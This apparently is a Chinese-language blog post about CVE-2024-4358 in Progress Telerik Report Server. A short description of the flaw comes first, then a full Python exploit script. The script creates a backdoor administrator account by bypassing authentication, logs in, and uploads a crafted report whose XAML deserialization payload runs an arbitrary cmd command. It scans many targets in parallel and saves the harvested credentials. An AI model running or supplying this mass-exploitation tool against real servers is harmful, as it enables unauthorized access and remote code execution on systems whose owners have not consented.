影响描述
此漏洞允许远程攻击者绕过受影响的Progress Software TelerikReporting安装的身份验证。利用此漏洞不需要身份验证。
Register方法的实现中存在特定缺陷。此问题是由于未验证当前安装步骤造成的。攻击者可以利用此漏洞绕过系统上的身份验证。
该漏洞影响了某些软件,允许攻击者绕过身份验证并执行任意代码。
代码的主要功能包括:
- 身份验证绕过:
authBypassExploit
函数尝试使用随机生成的用户名和密码创建新用户帐户,并检查是否成功绕过身份验证。 - 反序列化漏洞利用:
deserializationExploit
函数使用恶意序列化负载创建报告,并利用反序列化漏洞执行代码。 - 登录:
login
函数使用创建的帐户登录并获取授权令牌。 - 生成有效负载:
writePayload
函数生成包含要执行的命令的恶意负载。 - 编码:
readAndEncode
函数将恶意负载编码为 Base64 格式。 - 多线程: 代码使用多线程来同时针对多个目标。
poc&exp
import warnings
import os
import requests
requests.packages.urllib3.disable_warnings()
import zipfile
import base64
import random
import argparse
from concurrent.futures import ThreadPoolExecutor, as_completed
from colorama import Fore, Style, init
from sys import stdout
init(autoreset=True)
def clear():
os.system('clear' if os.name == 'posix' else 'cls')
def saveCredentials(username, password, target):
with open('credentials.txt', 'a') as file:
file.write(f"Target: {target}, Username: {username}, Password: {password}\n")
print(f"{Fore.YELLOW}[CVE-2024-4358] {Fore.RED}- {Fore.WHITE}{target} {Fore.RED}- {Fore.GREEN}Saving credentials to credentials.txt {Fore.RED}- {Fore.GREEN}[Success!]")
def authBypassExploit(username, password, target):
print(f"{Fore.YELLOW}[CVE-2024-4358] {Fore.RED}- {Fore.WHITE}{target} {Fore.RED}- {Fore.GREEN}Attempting to bypass authentication {Fore.RED}- {Fore.GREEN}[Success!]")
try:
res = s.post(f"{target}/Startup/Register", data={"Username": username, "Password": password, "ConfirmPassword": password, "Email": f"{username}@{username}.com", "FirstName": username, "LastName": username}, timeout=100)
except requests.RequestException:
return False
if res.url == f"{target}/Report/Index":
print(f"{Fore.YELLOW}[CVE-2024-4358] {Fore.RED}- {Fore.WHITE}{target} {Fore.RED}- {Fore.GREEN}Authentication bypass was successful, backdoor account created {Fore.RED}- {Fore.GREEN}[Success!]")
saveCredentials(username, password, target)
return True
else:
print(f"{Fore.YELLOW}[CVE-2024-4358] {Fore.RED}- {Fore.WHITE}{target} {Fore.RED}- {Fore.GREEN}Authentication bypass failed, result was: {Fore.WHITE}{res.text} {Fore.RED}- {Fore.RED}[Failed!]")
return False
def deserializationExploit(serializedPayload, authorizationToken, target):
reportName = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=10))
print(f"{Fore.YELLOW}[CVE-2024-4358] {Fore.RED}- {Fore.WHITE}{target} {Fore.RED}- {Fore.GREEN}Generated random report name: {Fore.WHITE}{reportName} {Fore.RED}- {Fore.GREEN}[Success!]")
categoryName = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=10))
print(f"{Fore.YELLOW}[CVE-2024-4358] {Fore.RED}- {Fore.WHITE}{target} {Fore.RED}- {Fore.GREEN}Creating malicious report under name {Fore.WHITE}{reportName} {Fore.RED}- {Fore.GREEN}[Success!]")
try:
res = s.post(f"{target}/api/reportserver/report", headers={"Authorization" : f"Bearer {authorizationToken}"}, json={"reportName":reportName,"categoryName":"Samples","description":None,"reportContent":serializedPayload,"extension":".trdp"}, timeout=100)
except requests.RequestException:
return False
if res.status_code != 200:
print(f"{Fore.YELLOW}[CVE-2024-4358] {Fore.RED}- {Fore.WHITE}{target} {Fore.RED}- {Fore.GREEN}Report creation failed, result was: {Fore.WHITE}{res.text} {Fore.RED}- {Fore.RED}[Failed!]")
return False
try:
res = s.post(f"{target}/api/reports/clients", json={"timeStamp":None}, timeout=100)
except requests.RequestException:
return False
if res.status_code != 200:
print(f"{Fore.YELLOW}[CVE-2024-4358] {Fore.RED}- {Fore.WHITE}{target} {Fore.RED}- {Fore.GREEN}Fetching clientID failed, result was: {Fore.WHITE}{res.text} {Fore.RED}- {Fore.RED}[Failed!]")
return False
clientID = res.json()['clientId']
try:
res = s.post(f"{target}/api/reports/clients/{clientID}/parameters", json={"report":f"NAME/Samples/{reportName}/","parameterValues":{}}, timeout=100)
except requests.RequestException:
return False
print(f"{Fore.YELLOW}[CVE-2024-4358] {Fore.RED}- {Fore.WHITE}{target} {Fore.RED}- {Fore.GREEN}Deserialization exploit finished {Fore.RED}- {Fore.GREEN}[Success!]")
def login(username, password, target):
try:
res = s.post(f"{target}/Token", data={"grant_type": "password", "username":username, "password": password}, timeout=100)
except requests.RequestException:
return None
if res.status_code != 200:
print(f"{Fore.YELLOW}[CVE-2024-4358] {Fore.RED}- {Fore.WHITE}{target} {Fore.RED}- {Fore.GREEN}Authentication failed, result was: {Fore.WHITE}{res.text} {Fore.RED}- {Fore.RED}[Failed!]")
return None
print(f"{Fore.YELLOW}[CVE-2024-4358] {Fore.RED}- {Fore.WHITE}{target} {Fore.RED}- {Fore.GREEN}Successfully authenticated as {Fore.WHITE}{username} {Fore.GREEN}with password {Fore.WHITE}{password} {Fore.RED}- {Fore.GREEN}[Success!]")
print(f"{Fore.YELLOW}[CVE-2024-4358] {Fore.RED}- {Fore.WHITE}{target} {Fore.RED}- {Fore.GREEN}Got token: {Fore.WHITE}{res.json()['access_token']} {Fore.RED}- {Fore.GREEN}[Success!]")
return res.json()['access_token']
def readAndEncode(file_path):
with open(file_path, 'rb') as file:
encoded = base64.b64encode(file.read()).decode('utf-8')
return encoded
def writePayload(output_filename, command):
with zipfile.ZipFile(output_filename, 'w') as zipf:
zipf.writestr('[Content_Types].xml', '''<?xml version="1.0" encoding="utf-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/zip" /></Types>''')
zipf.writestr("definition.xml", f'''<Report Width="6.5in" Name="oooo"
xmlns="http://schemas.telerik.com/reporting/2023/1.0">
<Items>
<ResourceDictionary
xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
xmlns:System="clr-namespace:System;assembly:mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral,
PublicKeyToken=31bf3856ad364e35"
>
<ODP:ObjectDataProvider MethodName="Start" >
<ObjectInstance>
<Diag:Process>
<StartInfo>
<Diag:ProcessStartInfo FileName="cmd" Arguments="/c {command}"></Diag:ProcessStartInfo>
</StartInfo>
</Diag:Process>
</ObjectInstance>
</ODP:ObjectDataProvider>
</ResourceDictionary>
</Items>''')
def banner():
clear()
stdout.write(" \n")
stdout.write("" + Fore.LIGHTRED_EX + "███████╗██╗ ██╗ ██╗██████╗ ██████╗ ██████╗ ██╗ ██╗███████╗\n")
stdout.write("" + Fore.LIGHTRED_EX + "██╔════╝██║ ██╔╝███║██╔══██╗██╔══██╗██╔═████╗██║ ██║╚══███╔╝\n")
stdout.write("" + Fore.LIGHTRED_EX + "███████╗█████╔╝ ╚██║██║ ██║██████╔╝██║██╔██║██║ █╗ ██║ ███╔╝ \n")
stdout.write("" + Fore.LIGHTRED_EX + "╚════██║██╔═██╗ ██║██║ ██║██╔══██╗████╔╝██║██║███╗██║ ███╔╝ \n")
stdout.write("" + Fore.LIGHTRED_EX + "███████║██║ ██╗ ██║██████╔╝██║ ██║╚██████╔╝╚███╔███╔╝███████╗\n")
stdout.write("" + Fore.LIGHTRED_EX + "╚══════╝╚═╝ ╚═╝ ╚═╝╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══╝╚══╝ ╚══════╝\n")
stdout.write("" + Fore.YELLOW + "════════════════════════════════════════════════════════════════════════════════════════\n")
stdout.write("" + Style.BRIGHT + Fore.YELLOW + f"{'Coded by Sk1drowz'.center(80)}\n")
stdout.write("" + Style.BRIGHT + Fore.YELLOW + f"{'CVE-2024-4358'.center(80)}\n")
stdout.write("" + Style.BRIGHT + Fore.YELLOW + f"{'Copyright By: @sinsinology - Github'.center(80)}\n")
stdout.write("" + Fore.YELLOW + "════════════════════════════════════════════════════════════════════════════════════════\n")
print(f"{Fore.YELLOW}[Warning!] - {Fore.GREEN}Priv8 Use Only !\n")
def exploit(target, command):
randomUsername = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=10))
randomPassword = ''.join(random.choices('abcdefghijklmnopqrstuvwxyz', k=10))
print("(*) Random backdoor username: " + randomUsername)
print("(*) Random backdoor password: " + randomPassword)
try:
if authBypassExploit(randomUsername, randomPassword, target):
authorizationToken = login(randomUsername, randomPassword, target)
if authorizationToken:
writePayload(output_filename, command)
deserializationExploit(readAndEncode(output_filename).strip(), authorizationToken, target)
except (requests.RequestException, KeyboardInterrupt):
saveCredentials(randomUsername, randomPassword, target)
clear()
print("Saved to credentials.txt")
exit(0)
output_filename = 'exploit.trdp'
banner()
parser = argparse.ArgumentParser(usage=r'python CVE-2024-4358.py --target-file targets.txt -c "whoami > C:\pwned.txt" --threads 10')
parser.add_argument('--target-file', '-tf', dest='target_file', help='File containing target IPs and ports (one per line, e.g: http://192.168.1.1:83)', required=True)
parser.add_argument('--command', '-c', dest='command', help='Command to execute', required=True)
parser.add_argument('--threads', '-th', dest='threads', type=int, help='Number of threads to use (max: 100)')
args = parser.parse_args()
if args.threads > 100:
print("(-) Maximum number of threads is 100.")
exit(1)
with open(args.target_file, 'r') as file:
targets = [line.strip().rstrip('/') for line in file if line.strip()]
s = requests.Session()
s.verify = False
with ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = [executor.submit(exploit, target, args.command) for target in targets]
for future in as_completed(futures):
future.result()
print("Saved to credentials.txt")
© 版权声明
THE END
暂无评论内容